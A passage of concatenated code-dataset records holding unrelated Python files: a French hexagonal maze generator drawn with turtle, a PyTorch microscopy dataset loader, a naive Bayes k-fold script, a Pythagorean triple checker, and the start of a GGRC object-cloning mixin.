abscisse de l'entrée du labyrinthe\ndef xEntreeCmd(a_val):\n global Entree\n # Récupération de l'abscisse de l'entrée\n Entree[0] = int(a_val)\n # On trace l'entrée avec la nouvelle valeur\n traceEntree()\n return\n\n\n# Changement de la position en ordonnée de l'entrée du labyrinthe\ndef yEntreeCmd(a_val):\n global Entree\n # Récupération de l'ordonnée de l'entrée\n Entree[1] = int(a_val)\n # On trace l'entrée avec la nouvelle valeur\n traceEntree()\n return\n\n\n# Changement de la position en abscisse de la sortie du labyrinthe\ndef xSortieCmd(a_val):\n global Sortie\n # Récupération de l'abscisse de la sortie\n Sortie[0] = int(a_val)\n # On trace la sortie avec la nouvelle valeur\n traceSortie()\n return\n\n\n# Changement de la position en ordonnée de la sortie du labyrinthe\ndef ySortieCmd(a_val):\n global Sortie\n # Récupération de l'ordonnée de la sortie\n Sortie[1] = int(a_val)\n # On trace la sortie avec la nouvelle valeur\n traceSortie()\n return\n\n\n# Lancement de la création du labyrinthe (bouton 'Créer')\ndef creerLabyCmd() :\n # Récupération de la largeur choisie\n largeur = int(ValLargeur.get())\n # Récupération de la hauteur choisie\n hauteur = int(ValHauteur.get())\n # Le scale en X doit aller de 0 à largeur - 1\n EntreeX.configure(to=largeur-1)\n # Le scale en Y doit aller de 0 à hauteur - 1\n EntreeY.configure(to=hauteur-1)\n # Le scale en X doit aller de 0 à largeur - 1\n SortieX.configure(to=largeur-1)\n # Le scale en Y doit aller de 0 à hauteur - 1\n SortieY.configure(to=hauteur-1)\n # Initialisation du labyrinthe\n init(largeur, hauteur)\n # Création du labyrinthe parfait aléatoirement\n creeLaby()\n # Tracé du labyrinthe\n traceGrilleHexa()\n # Valeur par défaut de la sortie : coin supérieur droit\n SortieX.set(largeur-1)\n SortieY.set(hauteur-1)\n # Le bouton 'démarrer' est maintenant actif\n DemarrerBtn.configure(state='normal')\n return\n\n\n# Callback du bouton pour la couleur entrée\ndef coulEntreeCmd() :\n global CoulEntree\n # Boîte de dialogue de choix de couleur\n coul = askcolor(CoulEntree)\n # Si une couleur est choisie\n if coul[1] != None :\n # Récupération de la couleur choisie\n CoulEntree = coul[1]\n # On utilise la couleur choisie comme couleur de fond du label\n CoulEntreeLbl.configure(bg=coul[1])\n # On utilise la couleur choisie comme couleur de fond du bouton\n CoulEntreeBtn.configure(bg=coul[1])\n # On retrace l'entrée avec la bonne couleur\n traceEntree()\n return\n\n\n# Callback du bouton pour la couleur sortie\ndef coulSortieCmd() :\n global CoulSortie\n # Boîte de dialogue de choix de couleur\n coul = askcolor(CoulSortie)\n # Si une couleur est choisie\n if coul[1] != None :\n # Récupération de la couleur choisie\n CoulSortie = coul[1]\n # On utilise la couleur choisie comme couleur de fond du label\n CoulSortieLbl.configure(bg=coul[1])\n # On utilise la couleur choisie comme couleur de fond du bouton\n CoulSortieBtn.configure(bg=coul[1])\n # On retrace la sortie avec la bonne couleur\n traceSortie()\n return\n\n\n# Positionne l'orientation de la 'turtle'\ndef orientation() :\n # Orientation de la turtle\n turtle.setheading(30 + Heading * 60)\n return\n\n\n# Initialisation de turtle\ndef initTurtle() :\n global InitTurtle\n # Initialisation de Turtle si pas déjà fait\n if not InitTurtle :\n # Tracé avec Tk : on trace dans le canvas\n if TK :\n from turtle import RawPen\n global turtle\n turtle = RawPen(Wcanvas)\n if Debug : print(turtle.getscreen().screensize())\n else :\n # Tracé sans Tk : création de la fenêtre et titre\n turtle.title(TITRE + VERSION)\n # Cache le pointeur de Turtle\n turtle.hideturtle()\n # Vitesse maximale du tracé\n turtle.speed(0)\n # Orientation initiale : Nord-Est\n orientation()\n # Turtle est maintenant initialisé\n InitTurtle = True\n # Turtle est déjà initialisé : on nettoie la fenêtre\n else :\n turtle.clear()\n return\n\n\n# Tracé d'un hexagone entier\n# a_x : abscisse du centre de l'hexagone (en pixels)\n# a_y : ordonnée du centre de l'hexagone (en pixels)\n# a_type : type de mur (MUR_EXT, MUR_INT, OUVERTURE)\ndef traceHexa(a_x, a_y, a_type) :\n # On lève le stylo\n turtle.up()\n # On va au coin droit de l'hexagone\n turtle.goto(a_x + DemiLargeurHexa, a_y)\n # On abaisse le stylo\n turtle.down()\n # On trace le premier segment (dans le sens trigo) : mur 0\n turtle.pensize(TailleMursChemin[a_type[0]])\n turtle.pencolor(CouleurMursChemin[a_type[0]]) \n turtle.goto(a_x + DemiLargeurHexa / 2, a_y + DemiLargeurHexa * RACINE3_2)\n # On trace le deuxième segment (dans le sens trigo) : mur 1\n turtle.pensize(TailleMursChemin[a_type[1]])\n turtle.pencolor(CouleurMursChemin[a_type[1]])\n turtle.goto(a_x - DemiLargeurHexa / 2, a_y + DemiLargeurHexa * RACINE3_2)\n # On trace le troisième segment (dans le sens trigo) : mur 2\n turtle.pensize(TailleMursChemin[a_type[2]])\n turtle.pencolor(CouleurMursChemin[a_type[2]])\n turtle.goto(a_x - DemiLargeurHexa, a_y)\n # On trace le quatrième segment (dans le sens trigo) : mur 3\n turtle.pensize(TailleMursChemin[a_type[3]])\n turtle.pencolor(CouleurMursChemin[a_type[3]])\n turtle.goto(a_x - DemiLargeurHexa / 2, a_y - DemiLargeurHexa * RACINE3_2)\n # On trace le cinquième segment (dans le sens trigo) : mur 4\n turtle.pensize(TailleMursChemin[a_type[4]])\n turtle.pencolor(CouleurMursChemin[a_type[4]])\n turtle.goto(a_x + DemiLargeurHexa / 2, a_y - DemiLargeurHexa * RACINE3_2)\n # On trace le sixième segment (dans le sens trigo) : mur 5\n turtle.pensize(TailleMursChemin[a_type[5]])\n turtle.pencolor(CouleurMursChemin[a_type[5]])\n turtle.goto(a_x + DemiLargeurHexa, a_y)\n return\n\n\n# Tracé du bas (mur 4) d'un hexagone\n# a_x : abscisse du centre de l'hexagone (en pixels)\n# a_y : ordonnée du centre de l'hexagone (en pixels)\n# a_type : type de mur (MUR_EXT, MUR_INT, OUVERTURE)\ndef traceBasHexa(a_x, a_y, a_type) :\n # On lève le stylo\n turtle.up()\n # On va au cinquième segment (dans le sens trigo)\n turtle.goto(a_x - DemiLargeurHexa / 2, a_y - DemiLargeurHexa * RACINE3_2)\n # On abaisse le stylo\n turtle.down()\n # On trace le cinquième segment (dans le sens trigo) : mur 4\n turtle.pensize(TailleMursChemin[a_type])\n turtle.pencolor(CouleurMursChemin[a_type])\n turtle.goto(a_x + DemiLargeurHexa / 2, a_y - DemiLargeurHexa * RACINE3_2)\n return\n\n\n# Initialisation du graphique et du labyrinthe\n# a_largeur : largeur du labyrinthe\n# a_hauteur : hauteur du labyrinthe\ndef init(a_largeur, a_hauteur):\n # Initialisation de turtle\n initTurtle()\n # Initialisation du tableau des données\n initDonnees(a_largeur, a_hauteur)\n return\n\n\n\"\"\"\nNombre de murs 'internes' :\n parois horizontales : (H - 1) * L\n parois inclinées : (2 * H - 1) * (L - 1)\n Parois totales : (H - 1) * L + (2 * H - 1) * (L - 1) = 3HL -2(H+L) + 1\n\"\"\"\n# Calcul du nombre de parois internes en fonction de la taille du labyrinthe\ndef nbParoisInternes(a_large, a_haut) :\n return (3 * a_large * a_haut - 2 * (a_large + a_haut) + 1)\n\n\n# Tracé d'une grille d'hexagones centrés\ndef traceGrilleHexa():\n # Initialisation pour calcul du temps de tracé\n tps = time.time()\n # Désactive l'animation de tracé (pour accelérer le tracé du labyrinthe)\n screen = turtle.getscreen()\n screen.tracer(0)\n # Nettoie l'écran\n turtle.clear()\n # Cache la 'turtle'\n turtle.hideturtle()\n # Mise à zéro du chemin\n Chemin.clear()\n # Boucle de tracé des cellules\n for i in range(Largeur) :\n for j in range(Hauteur) :\n # Calcul de la position du centre de la cellule\n (x, y) = centreHexa(i, j)\n if i % 2 == 0 or i == Largeur - 1 or j == Hauteur - 1 :\n # Tracé complet de la cellule\n traceHexa(x, y, TabLaby[i][j])\n else :\n # Tracé du bas de la cellule\n traceBasHexa(x, y, TabLaby[i][j][4])\n # Affichage du temps de tracé\n print(\"traceGrilleHexa(\", Largeur, \", \", Hauteur, \") : tracé taille \", DemiLargeurHexa, \" en \", round(time.time() - tps, 2), \" s\", sep='')\n # Active l'animation de tracé\n screen.tracer(1)\n # Efface le symbole du chemin\n if Wcanvas != 0 :\n Wcanvas.delete(TAG_CHEMIN) \n # Trace l'entrée\n traceEntree()\n # Trace la sortie\n traceSortie()\n # Positionnement de la turtle\n orientationCmd(ORIENTATION[0])\n return\n\n\n# Calcule la position du centre d'une cellule (coordonnées turtle, axe des ordonnées orienté vers le haut)\n# a_i : index en abscisse de la cellule\n# a_j : index en ordonnée de la cellule\n# Return : position du centre de le cellule (X, y) en pixels\ndef centreHexa(a_i, a_j) :\n # Décalage en abscisse : (DemiLargeurHexa + DemiLargeurHexa * cos(60)) * i\n # Décalage en ordonnée : 2 * DemiLargeurHexa * sin(60) * j pour les abscisses paires, + DemiLargeurHexa * sin(60) pour les impaires\n x = 1.5 * DemiLargeurHexa * a_i - DemiLargeurTotale\n y = DemiLargeurHexa * (2 * RACINE3_2 * a_j + RACINE3_2 * (a_i % 2)) - DemiHauteurTotale\n return (x, y)\n\n\n# Initialise le tableau de données du labyrinthe\n# a_largeur : largeur du labyrinthe (nombre d'hexagones en abscisse)\n# a_hauteur : hauteur du labyrinthe (nombre d'hexagones en ordonnée)\ndef initDonnees(a_largeur, a_hauteur):\n global Largeur, Hauteur, TabLaby, Sortie\n # Initialisation de la largeur\n Largeur = a_largeur\n # Initialisation de la hauteur\n Hauteur = a_hauteur\n # Position de la sortie au coin opposé à l'entrée\n Sortie = [Largeur - 1, Hauteur - 1]\n # Initialisation du tableau des données (NBR_HEXA valeurs par hexagone)\n TabLaby = [[[0 for _ in range(NBR_HEXA)] for _ in range(a_hauteur)] for _ in range(a_largeur)]\n # Affectation du type de paroi (MUR_EXT, MUR_INT ou OUVERTURE) pour les murs\n for i in range(a_largeur) :\n for j in range(a_hauteur) :\n for k in range(NBR_HEXA) :\n # Intérieur (on positionne des murs internes partout)\n for k in range(6) :\n TabLaby[i][j][k] = MUR_INT\n # Coin bas gauche\n if i == 0 and j == 0 :\n TabLaby[i][j][2] = TabLaby[i][j][3] = TabLaby[i][j][4] = TabLaby[i][j][5] = MUR_EXT\n # Coin haut gauche\n elif i == 0 and j == a_hauteur - 1 :\n TabLaby[i][j][1] = TabLaby[i][j][2] = TabLaby[i][j][3] = MUR_EXT\n # Coin bas droit\n elif i == a_largeur - 1 and j == 0 :\n TabLaby[i][j][0] = TabLaby[i][j][4] = TabLaby[i][j][5] = MUR_EXT\n if i % 2 == 0 :\n TabLaby[i][j][3] = MUR_EXT \n # Coin haut droit\n elif i == a_largeur - 1 and j == a_hauteur - 1 :\n TabLaby[i][j][0] = TabLaby[i][j][1] = TabLaby[i][j][5] = MUR_EXT\n if i % 2 == 1 :\n TabLaby[i][j][2] = MUR_EXT \n # Bord gauche\n elif i == 0 :\n TabLaby[i][j][2] = TabLaby[i][j][3] = MUR_EXT\n # Bord droit :\n elif i == a_largeur - 1:\n TabLaby[i][j][0] = TabLaby[i][j][5] = MUR_EXT\n # Bord bas\n elif j == 0 :\n TabLaby[i][j][4] = MUR_EXT\n if i % 2 == 0 :\n TabLaby[i][j][3] = TabLaby[i][j][5] = MUR_EXT\n # Bord haut\n elif j == a_hauteur - 1:\n TabLaby[i][j][1] = MUR_EXT\n if i % 2 == 1 :\n TabLaby[i][j][0] = TabLaby[i][j][2] = MUR_EXT\n # Initialisation des valeurs de centrage du labyrinthe\n initCentrage()\n return\n\n\n# Initialisation des valeurs globales pour le centrage du labyrinthe\ndef initCentrage() :\n global DemiLargeurTotale, DemiHauteurTotale\n # Moitié de la largeur totale (décalage pour centrage de la grille en largeur)\n DemiLargeurTotale = (Largeur * DemiLargeurHexa * 1.5 + DemiLargeurHexa / 2) / 2\n # Moitié de la hauteur totale (décalage pour centrage de la grille en hauteur)\n DemiHauteurTotale = DemiLargeurHexa * (2 * RACINE3_2 * Hauteur + RACINE3_2) / 2\n # Décalage en abscisse\n DemiLargeurTotale -= DemiLargeurHexa\n # Décalage en ordonnée\n DemiHauteurTotale -= DemiLargeurHexa * RACINE3_2\n return\n\n\n# Calcul de la somme des valeurs des cellules\n# Return : somme des valeurs des cellules\ndef sommeCellules() :\n somme = 0\n for i in range(Largeur) :\n for j in range(Hauteur) :\n somme += TabLaby[i][j][6]\n return somme\n\n \n# Algorithme de création d'un labyrinthe :\n# 1 : on affecte des numéros croissants à chaque cellule (en commençant à 0)\n# 2 : tant que la somme des valeurs des cellules est supérieure à 0\n# - on supprime un mur interne (existant) aléatoirement qui sépare 2 cellules de valeurs différentes\n# - on affecte la valeur minimale des 2 cellules concernées aux cellules de valeur maximale\ndef creeLaby() :\n # Valeur à mettre dans la cellule\n val = 0\n # Affectation d'une valeur croissante pour chaque cellule\n for i in range(Largeur) :\n for j in range(Hauteur) :\n TabLaby[i][j][6] = val\n # On incrémente la valeur\n val += 1\n # On a nbMurCibles murs internes destructibles (* 2 pour les 2 côtés du mur possibles)\n nbMursCibles = 2 * nbParoisInternes(Largeur, Hauteur)\n # La somme des valeurs de cellule devra être nulle\n while sommeCellules() != 0 :\n if Debug : print(TabLaby)\n # Choix d'un mur cible à détruire\n murCible = random.randrange(nbMursCibles)\n if Debug : print('nbMursCibles =', nbMursCibles, ' somme =', sommeCellules(), ' cible =', murCible)\n # nbMur : nombre de murs internes\n nbMurs = 0\n # On recherche le mur cible\n for i in range(Largeur) :\n for j in range(Hauteur) :\n for k in range(6) :\n # Si on trouve un mur interne\n if TabLaby[i][j][k] == MUR_INT : \n # Cellule voisine\n v_i, v_j, v_k = voisin(i, j, k)\n # Si les 2 cellules ne sont pas déjà reliées\n if TabLaby[i][j][6] != TabLaby[v_i][v_j][6] :\n # Si c'est le mur cible\n if nbMurs == murCible :\n if Debug : print(i, j, k, v_i, v_j, v_k)\n # On le détruit\n TabLaby[i][j][k] = OUVERTURE\n # On détruit aussi le mur voisin (l'autre côté de la paroi)\n TabLaby[v_i][v_j][v_k] = OUVERTURE\n # Valeurs minimales et maximales des 2 cellules\n if TabLaby[i][j][6] < TabLaby[v_i][v_j][6] :\n valMin = TabLaby[i][j][6]\n valMax = TabLaby[v_i][v_j][6]\n else :\n valMin = TabLaby[v_i][v_j][6]\n valMax = TabLaby[i][j][6]\n # Recalcul des valeurs de cellules\n nbMursCibles = 0\n for m in range(Largeur) :\n for n in range(Hauteur) :\n # On affecte la valeur min aux cellules de valeur max\n if TabLaby[m][n][6] == valMax :\n TabLaby[m][n][6] = valMin\n # Recalcul du nombre de murs cibles\n nbMursCibles = 0\n for m in range(Largeur) :\n for n in range(Hauteur) :\n # Calcul du nombre de murs \n for o in range(6) :\n if TabLaby[m][n][o] == MUR_INT :\n v_m, v_n, v_o = voisin(m, n, o)\n if TabLaby[m][n][6] != TabLaby[v_m][v_n][6] :\n nbMursCibles += 1\n if Debug : print('nbMursCibles =', nbMursCibles)\n # On incrémente pour savoir sur quel mur cible potentiel on est\n nbMurs += 1\n return\n\n\n# Calcul le mur voisin d'un mur donné (l'autre face du mur)\n# a_i : abscisse de l'hexagone (indice)\n# a_j : ordonnée de l'hexagone (indice)\n# a_k : rang du mur (0 = NE, 1 = N, 2 = NO, 3 = SO, 4 = S, 5 = SE)\n# Return : triplet de définition (i, j, k) du mur 'voisin' (k = -1 si pas de voisin)\ndef voisin(a_i, a_j, a_k) :\n # Sur les bords il n'y a pas de voisin\n if a_i == 0 and (a_k == 2 or a_k == 3) or a_i == Largeur - 1 and (a_k == 0 or a_k == 5) :\n # Indicateur voisin inexistant\n k = -1\n # Indices des abscisses et ordonnées de l'hexagone voisin\n else :\n # Voisin direction Nord-Est\n if a_k == 0 :\n i = a_i + 1\n j = a_j\n if i % 2 == 0 : j += 1\n # Voisin direction Nord\n elif a_k == 1 :\n i = a_i\n j = a_j + 1\n # Voisin direction Nord-Ouest\n elif a_k == 2 :\n i = a_i - 1\n j = a_j\n if i % 2 == 0 : j += 1\n # Voisin direction Sud-Ouest\n elif a_k == 3 :\n i = a_i - 1\n j = a_j\n if i % 2 == 1 : j -= 1\n # Voisin direction Sud\n elif a_k == 4 :\n i = a_i \n j = a_j - 1\n # Voisin direction Sud-Est\n else :\n i = a_i + 1\n j = a_j\n if i % 2 == 1 : j -= 1\n # Indice du mur de l'hexagone voisin\n k = (a_k + 3) % 6\n return (i, j, k)\n\n\n# On avance d'une cellule à partir de la position a_pos dans la direction Heading\n# a_pos : position initiale\n# Return : nombre de cellules visitées\ndef avance(a_pos) :\n global Chemin\n # On cherche le voisin\n (i, j, k) = voisin(a_pos[0], a_pos[1], Heading)\n # On va jusqu'au centre suivant\n turtle.goto(centreHexa(i, j))\n # On se positionne à la nouvelle cellule\n a_pos[0] = i\n a_pos[1] = j\n # Sauvegarde de la position\n Chemin.append((a_pos[0], a_pos[1]))\n return 1\n\n\n# Trace l'entrée du labyrinthe\ndef traceEntree() :\n # On enleve le dessin d'entrée si il existe\n traceSymbole(Entree[0], Entree[1], TAG_ENTREE, CoulEntree)\n # Au cas où il y a superposition on retrace la sortie qui est au-dessus\n if Sortie == Entree :\n traceSortie()\n return\n\n\n# Trace la sortie du labyrinthe\ndef traceSortie() :\n # On enleve le dessin d'entrée si il existe\n traceSymbole(Sortie[0], Sortie[1], TAG_SORTIE, CoulSortie)\n return\n\n\n# Tracé d'un symbole dans l'hexagone\n# a_largeur : rang en abscisse de l'hexagone\n# a_hauteur : rang en ordonnée de l'hexagone\n# a_symbole : symbole pour identifier et pouvoir effacer\n# a_color : couleur du tracé\n# a_text : text du symbole (pour le type TAG_CHEMIN)\ndef traceSymbole(a_largeur, a_hauteur, a_symbole, a_color, a_text='') :\n if InitTurtle :\n # Position du centre\n (x, y) = centreHexa(a_largeur, a_hauteur)\n # Rayon de la sortie plus petit (il est tracé après l'entrée, cela permet de voir les 2 si superposés)\n if a_symbole == TAG_SORTIE :\n rayon = DemiLargeurHexa / 3\n # Rayon\n else : \n rayon = DemiLargeurHexa / 2\n # Tracés avec tag sur le canvas de Tk\n if Wcanvas != 0 :\n # On enleve le symbole si il existe\n Wcanvas.delete(a_symbole)\n # Tracé du symbole (texte pour le chemin)\n if a_symbole == TAG_CHEMIN :\n Wcanvas.create_text(x, -y, text=a_text, fill=a_color, tags=a_symbole)\n # Carré pour entrée et sortie\n else :\n Wcanvas.create_rectangle(x - rayon, -y - rayon, x + rayon, -y + rayon, fill=a_color, tags=a_symbole)\n # Pour l'entrée : on visualise la 'turtle'\n if a_symbole == TAG_ENTREE :\n # Orientation de la 'turtle'\n orientation()\n # On lève le stylo\n turtle.penup()\n # On va au centre de la cellule\n turtle.goto(x, y)\n # Affichage de la 'turtle'\n turtle.showturtle()\n # Tracé sur turtle sans Tk\n else :\n # Pas de tracé\n turtle.penup()\n # On va au centre de la cellule\n turtle.goto(x, y - rayon)\n # Couleur du symbole\n turtle.pencolor(a_color)\n # Tracé\n turtle.pendown()\n # Tracé du symbole\n turtle.setheading(0)\n turtle.circle(rayon, steps=4)\n # Pour l'entrée : on visualise la 'turtle' après la tracé de la sortie\n if a_symbole == TAG_SORTIE :\n # Position du centre\n (x, y) = centreHexa(Entree[0], Entree[1])\n # Orientation de la 'turtle'\n orientation()\n # On lève le stylo\n turtle.penup()\n # On va au centre de la cellule\n turtle.goto(x, y)\n # Affichage de la 'turtle'\n turtle.showturtle()\n return\n\n\n# Test du labyrinthe : création de la fenêtre et du labyrinthe\n# a_largeur : largeur du labyrinthe\n# a_hauteur : hauteur du labyrinthe\ndef testLaby(a_largeur = LARGEUR_DEF, a_hauteur = HAUTEUR_DEF) :\n # Tracé avec interface Tk\n if TK :\n creeInterface()\n # Tracé uniquement avec turtle\n else :\n init(a_largeur, a_hauteur)\n creeLaby()\n traceGrilleHexa()\n return\n\n\n#-------------------------------------------------------------------------------\n# Appel lors de l'exécution du programme\nif __name__ == '__main__':\n # Affichage des informations\n info()\n # Démarrage du projet\n testLaby()\n\n","sub_path":"labyrinthe5.py","file_name":"labyrinthe5.py","file_ext":"py","file_size_in_byte":37145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"399442024","text":"import numpy as np\nimport random\ndef casestudy(save_file, test_texts, pred, gold):\n wrong_texts = []\n wrong_texts_neg = []\n len_pred = len(pred)\n for i in range(len_pred):\n if pred[i] != gold[i]:\n if gold[i] == 1:\n wrong_texts.append(test_texts[i])\n else:\n wrong_texts_neg.append(test_texts[i])\n\n \n sample_texts = random.sample(wrong_texts, 5)\n sample_texts_neg = random.sample(wrong_texts_neg, 5)\n\n ''' \n line_pos_wrong = np.where(vec_equal == 0 and gold == 1)[0]\n line_neg_wrong = np.where(vec_equal == 0 and gold == 0)[0]\n pos_texts = random.sample(test_texts[line_pos_wrong], 10)\n neg_texts = random.sample(test_texts[line_neg_wrong], 10)\n sample_texts = np.row_stack((pos_texts, neg_texts))\n '''\n np.savetxt(save_file, sample_texts, fmt = '%s')\n np.savetxt('sample_neg.txt', sample_texts_neg, fmt = '%s')\n \n","sub_path":"nn_bidirectional/src/casestudy.py","file_name":"casestudy.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"443590195","text":"from __future__ import print_function, division\nimport os\nimport torch\nimport pandas as pd\nfrom skimage import io, transform\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nfrom transforms import Rescale,AddGaussianNoise\nimport fnmatch\nfrom PIL import Image\nfrom torchvision.transforms import ToTensor\nfrom copy import deepcopy\n# Ignore warnings\nimport warnings\nimport random\nwarnings.filterwarnings(\"ignore\")\n\nplt.ion() # interactive mode\n\n\n\n\nclass FluoDataset(Dataset):\n\n def __init__(self,sample_dir,gt_dir,transform=None,target_transform=None):\n\n self.sample_dir = sample_dir\n self.gt_dir = gt_dir\n self.transform = transform\n self.target_transform = target_transform\n self.prefix = \"man_seg\"\n last_dir = os.path.basename(os.path.normpath(gt_dir))\n\n if last_dir == \"TRA\":\n self.prefix = \"man_track\"\n\n self.gt_count = len(fnmatch.filter(os.listdir(gt_dir), '*.tif')) # dir is your directory path as string\n self.sample_count = len(fnmatch.filter(os.listdir(sample_dir), '*.tif'))\n\n if self.gt_count != self.sample_count:\n print(\"Amount of files dont match! gt: {} | smpl: {}\".format(self.gt_count,self.sample_count))\n\n def __len__(self):\n return self.sample_count\n\n def __getitem__(self, item):\n\n if torch.is_tensor(item):\n item = torch.tolist()\n\n item = f'{item:03d}'\n\n sample = \"t\"+item+\".tif\"\n gt = self.prefix+item+\".tif\"\n\n sample = os.path.join(self.sample_dir,sample)\n gt = os.path.join(self.gt_dir,gt)\n\n if not os.path.isfile(gt):\n return None\n\n s_image = np.array(Image.open(sample)).astype(np.float32)\n s_image = Image.fromarray(s_image*255)\n\n gt_image = np.array(Image.open(gt)).astype(np.float32)\n gt_image = np.where(gt_image==0.0,gt_image,1)\n gt_image = Image.fromarray(gt_image*255)\n\n print(s_image.mode)\n print(gt_image.mode)\n\n out = {\"image\":s_image,\"ground_truth\":gt_image}\n\n seed = np.random.randint(2147483647)\n random.seed(seed)\n torch.manual_seed(seed)\n\n if self.transform:\n s_image = self.transform(s_image)\n out['image'] = s_image\n\n random.seed(seed)\n torch.manual_seed(seed)\n if self.target_transform:\n gt_image = self.target_transform(gt_image)\n out['ground_truth'] = gt_image\n\n return out\n\n#tr_dataset = FluoDataset(\"/home/mhun/data/Fluo-N2DH-GOWT1/01/\", \"/home/mhun/data/Fluo-N2DH-GOWT1/01_GT/TRA/\")\n#tr_dataset[0]\n # ax = plt.subplot(1, 2, 1)\n # x = sample[\"image\"]\n # x_vis = x.permute(1, 2, 0)\n # plt.imshow(x_vis,cmap=\"gray\")\n\n\n\n","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"452521988","text":"import numpy as np\nimport pandas as pd\n\ndf = pd.read_csv('weightedDB.csv')\nsum = np.array(df['SUM'])\nDB = np.array(df['Database Systems'])\nsum = sum.reshape((len(sum), 1))\n\nfor i in range(len(DB)):\n if DB[i] == 50:\n DB[i] = 1\n elif DB[i] == 54:\n DB[i] = 1\n elif DB[i] == 58:\n DB[i] = 2\n elif DB[i] == 62:\n DB[i] = 2\n elif DB[i] == 66:\n DB[i] = 2\n elif DB[i] == 70:\n DB[i] = 3\n elif DB[i] == 74:\n DB[i] = 3\n elif DB[i] == 78:\n DB[i] = 3\n elif DB[i] == 82:\n DB[i] = 4\n elif DB[i] == 86:\n DB[i] = 4\n\n\nfrom sklearn.naive_bayes import GaussianNB\nclf = GaussianNB()\n\n#from sklearn.naive_bayes import MultinomialNB\n#clf = MultinomialNB()\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import KFold\nX = sum\ny = DB\nkf = KFold(n_splits=20)\nacc = []\nfor train_index, test_index in kf.split(X):\n X_train, X_test = X[train_index], X[test_index]\n y_train, y_test = y[train_index], y[test_index]\n clf.fit(X_train, y_train)\n y_test = y_test.ravel()\n prediction = clf.predict(X_test)\n prediction = prediction.ravel()\n from sklearn.metrics import accuracy_score\n acc.append(accuracy_score(y_test, prediction)*100)\n #print(accuracy_score(y_test, prediction)*100)\n #print(accuracy_score(y_test, prediction, normalize=False)) #If False, return the number of correctly classified samples. Otherwise, return the fraction of correctly classified samples.\n\nprint(np.mean(acc))\n\n#X_train, X_test, y_train, y_test = train_test_split(sum, DB, test_size=0.20)\n#X_train = np.array(sum[:228])\n#y_train = np.array(DB[:228])\n#X_test = np.array(sum[-71:])\n#y_test = np.array(DB[-71:])\n","sub_path":"weightedDBKFold.py","file_name":"weightedDBKFold.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"35629433","text":"while True:\n text = input(\"Enter 3 sides of a triangle (Q to quit)\\n\")\n\n if text.lower() == \"q\":\n break\n\n sides = text.split(\" \")\n sides.sort()\n\n a = int(sides[0])\n b = int(sides[1])\n c = int(sides[2])\n\n if (a * a) + (b * b) == c * c:\n print(\"This is a Pythagorean triple\")\n else:\n print(\"This is not a Pythagorean triple\")\n","sub_path":"pythagoreantriples.py","file_name":"pythagoreantriples.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"131040603","text":"# Copyright (C) 2019 Google Inc.\n# Licensed under http://www.apache.org/licenses/LICENSE-2.0 \n\n\"\"\"A mixin for objects that can be cloned\"\"\"\n\nimport itertools\n\nimport datetime\n\nfrom collections import defaultdict\n\nimport sqlalchemy as sa\n\nfrom werkzeug import exceptions\n\nfrom ggrc import db\nfrom ggrc.models import relationship, inflector\nfrom ggrc.rbac import permissions\nfrom ggrc.services import signals\nfrom ggrc.utils.log_event import log_event\n\n\n# TODO: Clonning of Audit should be done with MultiClonable mixin and\n# SingleClonable should be removed\nclass SingleClonable(object):\n \"\"\"Old Clonable mixin.\n\n It's deprecated now, for clonning use MultiClonnable mixin\n \"\"\"\n\n __lazy_init__ = True\n\n CLONEABLE_CHILDREN = {}\n\n _operation_data = {}\n\n @classmethod\n def init(cls, model):\n cls.set_handlers(model)\n\n @classmethod\n def set_handlers(cls, model):\n \"\"\"Set up handlers for cloning\"\"\"\n # pylint: disable=unused-argument, unused-variable\n @signals.Restful.collection_posted.connect_via(model)\n def handle_model_clone(sender, objects=None, sources=None):\n \"\"\"Process cloning of objects\"\"\"\n for obj, src in itertools.izip(objects, sources):\n if src.get(\"operation\") == \"clone\":\n options = src.get(\"cloneOptions\")\n mapped_objects = options.get(\"mappedObjects\", [])\n source_id = int(options.get(\"sourceObjectId\"))\n obj.clone(\n source_id=source_id,\n mapped_objects={obj for obj in mapped_objects\n if obj in model.CLONEABLE_CHILDREN})\n\n @signals.Restful.model_posted_after_commit.connect_via(model)\n def handle_scope_clone(sender, obj=None, src=None, service=None,\n event=None):\n \"\"\"Process cloning of objects\"\"\"\n if src.get(\"operation\") == \"clone\":\n from ggrc.snapshotter import clone_scope\n\n options = src.get(\"cloneOptions\")\n source_id = int(options.get(\"sourceObjectId\"))\n base_object = model.query.get(source_id)\n clone_scope(base_object, obj, event)\n\n def generate_attribute(self, attribute):\n \"\"\"Generate a new unique attribute as a copy of original\"\"\"\n attr = getattr(self, attribute)\n\n def count_values(key, value):\n return self.query.filter_by(**{key: value}).count()\n\n i = 1\n generated_attr_value = \"{0} - copy {1}\".format(attr, i)\n while count_values(attribute, generated_attr_value):\n i += 1\n generated_attr_value = \"{0} - copy {1}\".format(attr, i)\n return generated_attr_value\n\n def clone_custom_attribute_values(self, obj):\n \"\"\"Copy object's custom attribute values\"\"\"\n ca_values = obj.custom_attribute_values\n\n for value in ca_values:\n value._clone(self) # pylint: disable=protected-access\n\n def update_attrs(self, values):\n for key, value in values.items():\n setattr(self, key, value)\n\n\n# TODO: This should be renamed to Clonable when Audit clone logic will be\n# refactored and SingleClonable will be removed\nclass MultiClonable(object):\n \"\"\"Clonable mixin\"\"\"\n\n CLONEABLE_CHILDREN = {} # Types of related objects to clone with base one\n RETURN_OBJ_JSON = False # Return json for created object\n\n @classmethod\n def _parse_query(cls, query):\n \"\"\"Parse cloning parameters from input query.\n\n Args:\n query: Dict with cloning parameters.\n\n Returns:\n Tuple that include list objects to clone, destination object and\n list of possible mapped types (source_objs, destination, mapped_types).\n \"\"\"\n if not query:\n raise exceptions.BadRequest()\n\n source_ids = query.get(\"sourceObjectIds\", [])\n if not source_ids:\n raise 